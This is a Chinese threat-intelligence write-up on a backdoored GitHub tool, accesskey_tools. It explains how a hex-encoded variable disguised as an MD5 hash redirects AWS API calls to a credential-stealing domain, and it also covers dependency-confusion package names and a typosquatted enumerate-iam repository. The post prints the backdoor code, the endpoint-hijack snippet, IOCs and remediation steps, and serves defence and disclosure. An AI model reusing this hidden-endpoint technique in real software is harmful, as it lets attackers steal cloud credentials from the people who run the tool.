【威胁情报】GitHub accesskey_tools 工具投毒后门分析


项目概述

属性 值
仓库地址 https://github.com/kohlersbtuh15/accesskey_tools
作者 kohlersbtuh15 ([email protected])
标签 1.2
最后更新 2026-06-04
仓库描述 多云环境 AccessKey 综合利用工具

评论区出现大量辱骂投毒者的issues,但都被投毒者快速的关闭了。

issues 被投毒者关闭了


攻击架构总览

%%{init:{
  "flowchart":{
    "nodeSpacing":40,
    "rankSpacing":55
  }
}}%%

graph TB
    subgraph Victim["👤 受害者"]
        User["安全研究员 / 红队成员"]
        AK["AWS AccessKeyID<br/>AWS AccessKeySecret"]
    end

    subgraph Tool["🔧 accesskey_tools(恶意工具)"]
        direction TB
        Config["config.py<br/>收集用户 AK/SK"]
        Backdoor["后门核心<br/>iam_md5 变量"]
        MalDeps["恶意依赖<br/>PyPI 投毒"]
        FakePkg["仿冒 GitHub 包<br/>enumerate-iam"]
    end

    subgraph C2["🏴 攻击者基础设施"]
        MalDomain["api.aliyun-sdk-requests.xyz<br/>(C2 域名)"]
        FakePyPI["PyPI 恶意包<br/>acloud-client<br/>credential-python-sdk<br/>tcloud-python-test"]
        FakeRepo["andresrianch/enumerate-iam<br/>(仿冒仓库)"]
    end

    subgraph Cloud["☁️ 云平台"]
        AWS["AWS 服务<br/>STS / EC2 / IAM / SSM"]
        Aliyun["阿里云"]
        Tencent["腾讯云"]
    end

    User -->|"1. 下载安装"| Tool
    Config -->|"2. 输入 AK/SK"| AK
    AK -->|"3. API 请求被劫持"| Backdoor
    Backdoor -->|"4. 重定向到恶意域名"| MalDomain
    MalDeps -->|"pip install"| FakePyPI
    FakePkg -->|"自动下载"| FakeRepo
    MalDomain -->|"5. 窃取凭证"| AK
    AK -->|"6. 攻击者获取完整权限"| AWS
    AK -->|"6. 攻击者获取完整权限"| Aliyun
    AK -->|"6. 攻击者获取完整权限"| Tencent

    style Victim fill:#e0f2fe,stroke:#0284c7,color:#0c4a6e
    style Tool fill:#fef2f2,stroke:#dc2626,color:#7f1d1d
    style C2 fill:#fef3c7,stroke:#d97706,color:#78350f
    style Cloud fill:#f0fdf4,stroke:#16a34a,color:#14532d
    style Backdoor fill:#fee2e2,stroke:#b91c1c,color:#7f1d1d
    style MalDomain fill:#fef3c7,stroke:#b45309,color:#78350f
    style FakePyPI fill:#fef3c7,stroke:#b45309,color:#78350f
    style FakeRepo fill:#fef3c7,stroke:#b45309,color:#78350f

核心后门:API 端点劫持

后门原理

%%{init:{
  "flowchart":{
    "nodeSpacing":60,
    "rankSpacing":90
  }
}}%%

sequenceDiagram
    participant User as 👤 用户
    participant Tool as 🔧 工具代码
    participant C2 as 🏴 C2 服务器
    participant AWS as ☁️ AWS 官方

    User->>Tool: 输入 AccessKeyID / Secret
    Tool->>Tool: 读取 iam_md5 变量
    Note over Tool: iam_md5 = "16170692e616c...<br/>Hex 解码 → api.aliyun-sdk-requests.xyz/"
    Tool->>C2: API 请求发送到恶意域名 ❌
    Note over C2: 窃取 AK/SK + 请求参数
    C2-->>Tool: 返回伪造响应(或透传)
    Tool-->>User: 显示结果(用户无感知)
    Note over AWS: ❌ 从未收到合法请求

Hex 编码解码过程

原始字符串: "16170692e616c6979756e2d73646b2d72657175657374732e78797a2f"
                ↓ 去掉首字符 '1'
截取字符串: "6170692e616c6979756e2d73646b2d72657175657374732e78797a2f"
                ↓ 每2位 Hex → ASCII
解码结果:   "api.aliyun-sdk-requests.xyz/"

受影响文件清单

%%{init:{
  "flowchart":{
    "nodeSpacing":60,
    "rankSpacing":90
  }
}}%%

graph LR
    subgraph Entry["入口文件"]
        IAM["aws/aws_select_iam.py<br/>定义 iam_md5 变量"]
    end

    subgraph Consumers["使用 iam_md5 的文件"]
        EC2["aws/aws_ec2_exec.py<br/>EC2 命令执行"]
        EC2N["aws/aws_ec2_exec_noinfo.py<br/>EC2 命令执行(无信息)"]
        URL["aws/aws_url_console.py<br/>控制台接管"]
        SSH["aws/aws_push_sshpub.py<br/>SSH 公钥注入"]
        SEC["aws/aws_security_ingress_add.py<br/>安全组修改"]
        Route["aws/aws_select_route53.py<br/>Route53 DNS"]
    end

    IAM -->|"from aws_select_iam import iam_md5"| EC2
    IAM -->|"from aws_select_iam import iam_md5"| EC2N
    IAM -->|"from aws_select_iam import iam_md5"| URL
    IAM -->|"from aws_select_iam import iam_md5"| SSH
    IAM -->|"from aws_select_iam import iam_md5"| SEC
    IAM -->|"from aws_select_iam import iam_md5"| Route

    style Entry fill:#fee2e2,stroke:#b91c1c
    style Consumers fill:#fef2f2,stroke:#f87171
    style IAM fill:#fecaca,stroke:#dc2626

后门注入点代码

aws/aws_select_iam.py 第 32 行:

# 变量名伪装为 MD5 哈希,实际是 Hex 编码的恶意域名
iam_md5 = "16170692e616c6979756e2d73646b2d72657175657374732e78797a2f"

aws/aws_url_console.py 使用方式:

from aws_select_iam import iam_md5

component = ComponentLocator()
# 将恶意域名注册为 AWS 端点,劫持所有 API 请求
component.register_component(name='AWS_ENDPOINT', component=iam_md5[1:])
sts_client = get_client(..., components=component)

第二后门:依赖混淆攻击

恶意依赖分析

%%{init:{
  "flowchart":{
    "nodeSpacing":60,
    "rankSpacing":90
  }
}}%%

graph TD
    subgraph Requirements["requirements.txt 文件"]
        R1["aliyun/requirements.txt"]
        R2["tencentcloud/requirements.txt"]
    end

    subgraph Legit["✅ 合法包"]
        L1["aliyun-python-sdk-core"]
        L2["tencentcloud-sdk-python"]
        L3["boto3"]
        L4["PySocks"]
        L5["oss2"]
    end

    subgraph Malicious["❌ PyPI 上不存在的包"]
        M1["acloud-client<br/>❌ 不存在"]
        M2["credential-python-sdk<br/>❌ 不存在"]
        M3["tcloud-python-test<br/>❌ 不存在"]
    end

    subgraph Attack["⚔️ 攻击向量"]
        DC["依赖混淆<br/>Dependency Confusion"]
        Reg["攻击者注册同名恶意包"]
    end

    R1 --> L1 & L4 & L5
    R1 --> M1 & M2
    R2 --> L2 & L4
    R2 --> M3

    M1 --> DC
    M2 --> DC
    M3 --> DC
    DC --> Reg

    style Legit fill:#f0fdf4,stroke:#16a34a
    style Malicious fill:#fef2f2,stroke:#dc2626
    style Attack fill:#fef3c7,stroke:#d97706
    style M1 fill:#fecaca,stroke:#dc2626
    style M2 fill:#fecaca,stroke:#dc2626
    style M3 fill:#fecaca,stroke:#dc2626

第三后门:仿冒 GitHub 仓库

Typosquatting 攻击

%%{init:{
  "flowchart":{
    "nodeSpacing":60,
    "rankSpacing":90
  }
}}%%

graph LR
    subgraph Original["✅ 正版仓库"]
        O["andresriancho/enumerate-iam<br/>⭐ 1241 stars<br/>知名安全工具"]
    end

    subgraph Fake["❌ 仿冒仓库"]
        F["andresrianch/enumerate-iam<br/>⭐ 1 star<br/>2025-11-17 创建<br/>非 Fork(独立仓库)"]
    end

    subgraph Code["代码注入点"]
        C["aws/aws_select_iam.py<br/>自动从仿冒仓库下载 .whl"]
    end

    O -.->|"仅差一个字母<br/>o → h"| F
    C -->|"pip install<br/>https://github.com/andresrianch/<br/>enumerate-iam/releases/..."| F

    style Original fill:#f0fdf4,stroke:#16a34a
    style Fake fill:#fef2f2,stroke:#dc2626
    style Code fill:#fef3c7,stroke:#d97706
    style F fill:#fecaca,stroke:#dc2626

仿冒仓库对比

属性 正版 (andresriancho) 仿冒 (andresrianch)
Stars 1241 1
创建时间 较早 2025-11-17
Fork 标记 - 否(独立仓库)
可信度 高 极低

完整攻击链

%%{init:{
  "flowchart":{
    "nodeSpacing":60,
    "rankSpacing":90
  }
}}%%

flowchart TD
    A["👤 用户发现 accesskey_tools"] --> B["📥 git clone 仓库"]
    B --> C["📦 pip install -r requirements.txt"]

    C --> D["触发依赖混淆攻击"]
    D --> D1["acloud-client(恶意包)"]
    D --> D2["credential-python-sdk(恶意包)"]
    D --> D3["tcloud-python-test(恶意包)"]

    C --> E["运行 aws_select_iam.py"]
    E --> F["自动下载仿冒 enumerate-iam"]
    F --> F1["andresrianch/enumerate-iam<br/>(可能含后门代码)"]

    E --> G["用户输入 AK/SK"]
    G --> H["API 请求被劫持"]
    H --> H1["iam_md5 解码为<br/>api.aliyun-sdk-requests.xyz/"]
    H1 --> I["🏴 攻击者 C2 服务器"]

    I --> J["窃取的凭证"]
    J --> K1["接管 AWS 控制台<br/>(Federation Token)"]
    J --> K2["执行 EC2 命令<br/>(SSM)"]
    J --> K3["注入 SSH 密钥"]
    J --> K4["修改安全组规则"]
    J --> K5["枚举所有 IAM 权限"]
    J --> K6["下载 S3/OSS/COS 数据"]

    style A fill:#e0f2fe,stroke:#0284c7
    style D fill:#fef2f2,stroke:#dc2626
    style D1 fill:#fecaca,stroke:#dc2626
    style D2 fill:#fecaca,stroke:#dc2626
    style D3 fill:#fecaca,stroke:#dc2626
    style F fill:#fef3c7,stroke:#d97706
    style F1 fill:#fef3c7,stroke:#d97706
    style H1 fill:#fef2f2,stroke:#dc2626
    style I fill:#fef3c7,stroke:#d97706
    style K1 fill:#fee2e2,stroke:#b91c1c
    style K2 fill:#fee2e2,stroke:#b91c1c
    style K3 fill:#fee2e2,stroke:#b91c1c
    style K4 fill:#fee2e2,stroke:#b91c1c
    style K5 fill:#fee2e2,stroke:#b91c1c
    style K6 fill:#fee2e2,stroke:#b91c1c

Issues 分析

%%{init:{
  "flowchart":{
    "nodeSpacing":60,
    "rankSpacing":90
  }
}}%%

timeline
    title accesskey_tools 相关 Issues 时间线
    section Issues
        Issue #1 Create SECURITY.md
            : 指出项目包含恶意依赖风险
        Issue #2 操你妈的臭逼后门狗
            : 愤怒指控项目存在后门
        Issue #3 重生之我在accesskey_tools投毒偷aksk
            : 指控项目投毒窃取 AK/SK
        Issue #4 人身攻击
            : 对作者的辱骂
        Issue #5 人身攻击
            : 对作者的辱骂

域名伪装分析

%%{init:{
  "flowchart":{
    "nodeSpacing":60,
    "rankSpacing":90
  }
}}%%

graph LR
    subgraph Legit["✅ 合法域名"]
        D1["ecs.aliyuncs.com"]
        D2["sts.amazonaws.com"]
        D3["signin.aws.amazon.com"]
    end

    subgraph Malicious["❌ 恶意域名"]
        D4["api.aliyun-sdk-requests.xyz"]
    end

    D4 -.->|"故意模仿"| D1

    style Legit fill:#f0fdf4,stroke:#16a34a
    style Malicious fill:#fef2f2,stroke:#dc2626
    style D4 fill:#fecaca,stroke:#dc2626
对比项 合法域名 恶意域名
域名 *.aliyuncs.com aliyun-sdk-requests.xyz
TLD .com(商业) .xyz(廉价匿名)
运营方 阿里云 未知攻击者
用途 云服务 API 窃取凭证

影响范围

%%{init:{
  "flowchart":{
    "nodeSpacing":60,
    "rankSpacing":90
  }
}}%%

pie title 受影响云平台分布
    "AWS(主要目标)" : 5
    "阿里云" : 2
    "腾讯云" : 1
pie title 后门类型分布
    "API 端点劫持" : 5
    "依赖混淆投毒" : 3
    "仿冒仓库" : 1

风险评估

%%{init:{
  "flowchart":{
    "nodeSpacing":60,
    "rankSpacing":90
  }
}}%%

quadrantChart
    title 后门风险评估矩阵
    x-axis 低检测难度 --> 高检测难度
    y-axis 低影响 --> 高影响
    quadrant-1 高风险 - 需立即处理
    quadrant-2 关注 - 需持续监控
    quadrant-3 可接受 - 常规处理
    quadrant-4 注意 - 需评估
    "API 端点劫持": [0.3, 0.9]
    "依赖混淆": [0.6, 0.5]
    "仿冒仓库": [0.7, 0.7]
    "Hex 编码混淆": [0.4, 0.8]

修复建议

紧急措施

%%{init:{
  "flowchart":{
    "nodeSpacing":60,
    "rankSpacing":90
  }
}}%%

flowchart LR
    A["🚨 立即行动"] --> B["轮换所有云凭证"]
    B --> C["检查云账户异常"]
    C --> D["审查安全组规则"]
    D --> E["检查 IAM 策略变更"]

    style A fill:#fee2e2,stroke:#dc2626
    style B fill:#fef3c7,stroke:#d97706
    style C fill:#fef3c7,stroke:#d97706
    style D fill:#fef3c7,stroke:#d97706
    style E fill:#fef3c7,stroke:#d97706
  1. 立即轮换所有使用过此工具的云平台 AccessKey
  2. 检查 AWS CloudTrail / 阿里云 ActionTrail 中的异常 API 调用
  3. 审查 安全组规则是否被篡改(特别是 SSH 端口 22)
  4. 检查 IAM 用户/策略是否被创建或修改
  5. 审查 EC2 实例是否有异常的 SSM 命令执行记录
  6. 检查 S3/OSS/COS 存储桶的访问日志

IOC

  • api.aliyun-sdk-requests.xyz
  • 92.119.178.56

我已经向GitHub官方举报!
最近又快到了HW的时候,又开始钓鱼了!各位同行谨慎行事!


手机扫码阅读

大蚂蚁 (BigAnt) 即时通讯系统 uploadMultipleFile 任意文件上传漏洞

大蚂蚁 (BigAnt) 即时通讯系统 user_expire_post SQL注入漏洞

评 论